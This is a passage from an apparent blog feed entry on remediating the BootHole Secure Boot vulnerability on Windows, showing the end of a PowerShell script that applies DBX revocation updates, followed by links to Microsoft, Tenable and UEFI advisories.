        </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Error creating temporary files. Check permissions to </span><span class="si">$(</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">temp</span><span class="si">)</span><span class="s2">."</span><span class="w">
        </span><span class="kr">exit</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="kr">else</span><span class="p">{</span><span class="w">
    </span><span class="c"># Use the files from a file share location</span><span class="w">

    </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Using update files from file share."</span><span class="w">
    
    </span><span class="nv">$DbxUpdatePaths</span><span class="o">.</span><span class="nv">$Architecture</span><span class="o">.</span><span class="nf">GetEnumerator</span><span class="p">()</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nv">$Release</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Name</span><span class="w">
        </span><span class="nv">$ContentPath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Value</span><span class="o">.</span><span class="nf">Content</span><span class="w">
        </span><span class="nv">$SignaturePath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Value</span><span class="o">.</span><span class="nf">Signature</span><span class="w">
        
        </span><span class="c"># Only add to the queue if both signature and content files are accessible</span><span class="w">
        </span><span class="kr">if</span><span class="p">((</span><span class="n">Test-Path</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$ContentPath</span><span class="p">)</span><span class="w"> </span><span class="o">-and</span><span class="w"> </span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$SignaturePath</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"</span><span class="se">`n</span><span class="s2">Preparing: </span><span class="si">$(</span><span class="nv">$Release</span><span class="si">)</span><span class="se">`n</span><span class="s2">Signature: </span><span class="si">$(</span><span class="nv">$SignaturePath</span><span class="si">)</span><span class="se">`n</span><span class="s2">Content: </span><span class="si">$(</span><span class="nv">$ContentPath</span><span class="si">)</span><span class="s2">"</span><span class="w">
            </span><span class="nv">$UpdateFiles</span><span class="o">.</span><span class="nf">Add</span><span class="p">(</span><span class="nv">$Release</span><span class="p">,</span><span class="w"> </span><span class="p">@{</span><span class="s2">"Signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$SignaturePath</span><span class="p">;</span><span class="w"> </span><span class="s2">"Content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$ContentPath</span><span class="p">})</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="nv">$UpdateFiles</span><span class="o">.</span><span class="nf">GetEnumerator</span><span class="p">()</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Applying </span><span class="si">$(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">Name</span><span class="si">)</span><span class="s2"> update..."</span><span class="w">
    </span><span class="n">Update-DbxVariable</span><span class="w"> </span><span class="nt">-SignaturePath</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Value</span><span class="o">.</span><span class="nf">Signature</span><span class="w"> </span><span class="nt">-ContentPath</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Value</span><span class="o">.</span><span class="nf">Content</span><span class="w">
</span><span class="p">}</span><span class="w">   

</span><span class="kr">if</span><span class="p">(</span><span class="nv">$EmbeddedFiles</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$UpdateFiles</span><span class="o">.</span><span class="nf">Values</span><span class="o">.</span><span class="nf">Values</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="c"># Delete file from disk</span><span class="w">
        </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Deleting on disk </span><span class="si">$(</span><span class="bp">$_</span><span class="si">)</span><span class="s2">"</span><span class="w">
        </span><span class="n">Remove-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="bp">$_</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">SilentlyContinue</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h1 id="references">References</h1>
<ul>
  <li><a href="https://www.tenable.com/plugins/nessus/139239">Windows Security Feature Bypass in Secure Boot (BootHole) - Tenable®</a></li>
  <li><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/ADV200011">ADV200011 - Security Update Guide - Microsoft - Microsoft Guidance for Addressing Security Feature Bypass in GRUB</a></li>
  <li><a href="https://support.microsoft.com/en-us/topic/kb4535680-security-update-for-secure-boot-dbx-january-12-2021-f08c6b00-a850-e595-6147-d0c32ead81e2">KB4535680: Security update for Secure Boot DBX: January 12, 2021</a></li>
  <li><a href="https://support.microsoft.com/en-us/topic/microsoft-guidance-for-applying-secure-boot-dbx-update-e3b9e4cb-a330-b3ba-a602-15083965d9ca">Microsoft guidance for applying Secure Boot DBX update</a></li>
  <li><a href="https://uefi.org/revocationlistfile">UEFI Revocation List File - Unified Extensible Firmware Interface Forum</a></li>
  <li><a href="https://uefi.org/revocationlistfile/archive">ARCHIVE - Prior Versions of DBX files - Unified Extensible Firmware Interface Forum</a></li>
</ul>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[How do you remediate BootHole as identified by Nessus Plugin ID 139239 in Windows systems? Here we will be discussing this vulnerability and how to properly remediate it from your Windows hosts.]]></summary></entry></feed>